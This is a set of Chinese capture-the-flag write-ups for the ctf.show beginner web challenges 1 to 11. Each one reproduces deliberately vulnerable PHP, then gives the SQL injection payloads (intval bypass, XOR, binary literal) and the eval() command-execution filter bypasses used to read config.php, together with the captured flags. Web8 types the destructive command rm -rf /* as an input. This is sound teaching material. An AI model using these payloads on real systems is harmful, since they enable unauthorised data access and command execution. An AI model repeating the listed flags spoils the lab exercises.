web1-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察的知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
因此既要保证程序从用户获取到的id的值小于999,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
所以我们只要任意非数字开头就可以了,但是又要满足sql语句
所以有如下几种方式
- (1000)
- ‘1000’
因此可以构造URL为
- URL/?id=’1000’执行结果:
执行的sql为:select * from article where id = '1000' order by id limit 1 id: 1000 - title: CTFshowflag flag{cec9f008-e54e-4e2d-afb1-b2d4ee3ef112}
- URL/?id=(1000)执行结果:
执行的sql为:select * from article where id = (1000) order by id limit 1 id: 1000 - title: CTFshowflag flag{cec9f008-e54e-4e2d-afb1-b2d4ee3ef112}
从以上的结果可以看到,(1000)与’1000’都会被数据库执行为数值1000,因此绕过了id>999的限制,并且成功执行了select语句。
萌新_web2-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
- 正则表达式
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
且不能符合正则表达式
if(preg_match("/or|\+/i",$id)){
die("id error");
}
因此既要保证程序从用户获取到的id的值小于999,不能符合正则表达式,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
所以我们只要任意非数字开头就可以了,但是又要满足sql语句
所以有如下几种方式
- (1000)
- ‘1000’
因此可以构造URL为
- URL/?id=’1000’执行结果:
执行的sql为:select * from article where id = '1000' order by id limit 1 id: 1000 - title: CTFshowflag flag{8291635a-213d-4b3c-ba02-a41e3ff0bd35}
- URL/?id=(1000)执行结果:
执行的sql为:select * from article where id = (1000) order by id limit 1 id: 1000 - title: CTFshowflag flag{5b2a4c01-cd28-4f1f-837b-b2e2903f8d75}
从以上的结果可以看到,(1000)与’1000’都会被数据库执行为数值1000,因此绕过了id>999的限制,并且成功执行了select语句。
萌新_web3-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
- 正则表达式
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
并且不符合正则表达式的要求
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
因此既要保证程序从用户获取到的id的值小于999,id中不能包含有正则表达式中的字符,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
所以我们只要任意非数字开头就可以了,但是又要满足sql语句
所以有如下几种方式
- (1000)
- ‘1000’
因此可以构造URL为
- URL/?id=’1000’执行结果:
执行的sql为:select * from article where id = '1000' order by id limit 1 id: 1000 - title: CTFshowflag flag{a09dd488-2411-4e97-9b40-f4527ec058a7}
- URL/?id=(1000)执行结果:
执行的sql为:select * from article where id = (1000) order by id limit 1 id: 1000 - title: CTFshowflag flag{a09dd488-2411-4e97-9b40-f4527ec058a7}
从以上的结果可以看到,(1000)与’1000’都会被数据库执行为数值1000,因此绕过了id>999的限制,并且成功执行了select语句。
萌新_web4-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
- 正则表达式
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
并且不符合正则表达式的要求
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
因此既要保证程序从用户获取到的id的值小于999,id中不能包含有正则表达式中的字符,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
所以我们只要任意非数字开头就可以了,但是又要满足sql语句
所以有如下几种方式
- ‘1000’
因此可以构造URL为
- URL/?id=’1000’执行结果:
执行的sql为:select * from article where id = '1000' order by id limit 1 id: 1000 - title: CTFshowflag flag{c3b8308a-f87f-44af-9960-066477cd6986}
从以上的结果可以看到,1000’会被数据库执行为数值1000,因此绕过了id>999的限制,并且成功执行了select语句。
萌新_web5-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
- 正则表达式
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
并且不符合正则表达式的要求
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
因此既要保证程序从用户获取到的id的值小于999,id中不能包含有正则表达式中的字符,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
但从正则表达式的匹配规则可以看到,它将单引号、双引号、小括号都进行了匹配,因此不能够使用这些字符进行绕过,但是数据库支持异或运算,利用异或符号来截止intval函数,使其id小于999,异或是将两个十进制数的二进制数进行异或运算得到一个二进制数,之后再将其转换成十进制数,我们经过计算可知144^888的结果正好为1000,因此构造URL:http://931ebfd8-f653-46db-8404-2e3ba8a9a763.chall.ctf.show/?id=144^888,执行之后的结果为
执行的sql为:select * from article where id = 144^888 order by id limit 1
id: 1000 - title: CTFshowflag
flag{28d091a6-76f8-4ac1-a581-d9acd55d7c12}
萌新_web6-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
- 正则表达式
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
并且不符合正则表达式的要求
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
因此既要保证程序从用户获取到的id的值小于999,id中不能包含有正则表达式中的字符,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
但从正则表达式的匹配规则可以看到,它将单引号、双引号、小括号以及异或符号都进行了匹配,因此不能够使用这些字符进行绕过,但是数据库支持将二进制码转换成十进制数,因此我们可以构造URL:URL?id=0b001111101000进行注入,结果如下:
执行的sql为:select * from article where id = 0b001111101000 order by id limit 1
id: 1000 - title: CTFshowflag
flag{bd08129c-a4ae-4d33-ac8d-f9095e9d7706}
萌新_web7-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
考察知识点
- 对于PHP intval函数功能的了解
- 对于sql语句的拼接
- 正则表达式
解题思路
由提示可知flag在数据库id为1000的那一行数据中
根据网页中PHP代码的逻辑来看,一旦获取到的id的值大于999的时候报错退出,若想查询数据库的数据则要求id经过intval函数之后所获得的值小于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
......
}
并且不符合正则表达式的要求
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
因此既要保证程序从用户获取到的id的值小于999,id中不能包含有正则表达式中的字符,并且该id的值与sql语句拼接之后能够查到id为1000的数据结果,那么就需要对PHP中的intval函数有了解。
intval($id)会从字符串$id的起始位置开始去数字碰到非数字就结束,当起始位置为非数字时则为0。
比如
intval(‘100a123’)=100
intval(‘a123’)=0
但从正则表达式的匹配规则可以看到,它将单引号、双引号、小括号、异或符号、取反符号都进行了匹配,因此不能够使用这些字符进行绕过,但是数据库支持将二进制码转换成十进制数,因此我们可以构造URL:URL?id=0b001111101000进行注入,结果如下:
执行的sql为:select * from article where id = 0b001111101000 order by id limit 1
id: 1000 - title: CTFshowflag
flag{bd08129c-a4ae-4d33-ac8d-f9095e9d7706}
萌新_web8-wp
题目
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
</body>
</html>
考察知识点
- 对linux高危命令的熟知程度
解题思路
这是一个计算界内的一个更,删库跑路或者删除所有的文件之后跑路,从题目描述中可以看出阿呆跑到了一个偏远的地方,因此他应该是删除了东西,在Unix/Linux中有一个命令是被称为命令炸弹,它就是
rm -rf /*
rm -rf /*的作用是从根目录开始强制删除文件,也就是连操作系统本身也会被删除,由此可见其危害有多大。因此在遇到不明程序时,千万不能执行,要运行也可以利用虚拟机进行测试没问题后方可进行使用!
该题构造URL为:URL?flag=rm -rf /* 即可得到flag。
萌新_web9-wp
题目
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
考察知识点
- php执行命令行漏洞
- highlight_file()函数的使用
- exec命令的使用
- system命令的使用
- 正则表达式
解题思路
从题目中我们可以看到其中的判断为c中必须包含system|exec|highlight三种命令中的一种才能够输出c,这就给我们解题提供了方向。在这里我们先使用一个简单的函数highlight_file()函数来解决,根据题目的提示flag in config.php可知,我们要显示config.php中的内容,而highlight_file()函数则是能够帮助我们回显该文件的内容,因此我们构造URL:URL?c=highlight_file(‘config.php’); 即可回显flag:
我们也可以构造URL为:URL?c=system (‘cat config.php’); 执行之后会是一个空白的页面,我们查看源码之后即可看到flag
萌新_web10-wp
题目
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
考察知识点
- php命令执行漏洞
- 构造URL
- system命令格式
- php字符串拼接
解题思路
从题目的条件判断中我可以看到
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}
变量c不能够包含以下三种函数system、exec和highlight,我们可以选择构造法来进行绕过。构造的URL为:URL?c=$a=’sys’;$b=’tem’;$d=$a.$b;$d(‘cat config.php’);或者URL?c=$d;$a=’sys’;$b=’tem’;$d=$a.$b;$d(‘cat config.php’); 执行之后发现是空白页面,需要邮件查看网页源码才能获得flag
萌新_web11-wp
题目
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
考察知识点
- php命令执行漏洞
- 构造URL
- system命令格式
- Linux中查看文件的命令
- php字符串拼接
解题思路
从题目中的判断条件中我们可以看到正则表达式将我们的cat命令给过滤了
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}
因此我们需要使用其他命令或者使用其他的方法来进行绕过,linux有很多类似于cat的方法 tac、more、less、head、tail、nl、sed、sort、uniq.我们以其中的tac为例,我们构造的URL为:URL?c=$d;$a=’sys’;$b=’tem’;$d=$a.$b;$d(“tac config.php”);这个其中也是用到了php字符串拼接的方法,执行后得到flag
当然我们亦可以利用其字符串的特性利用单引号和双引号来进行绕过,例如下面的两个命令都是与命令system(‘cat config.php’)的效果相同
system('ca""t config.php')
system("ca''t config.php")
命令执行的效果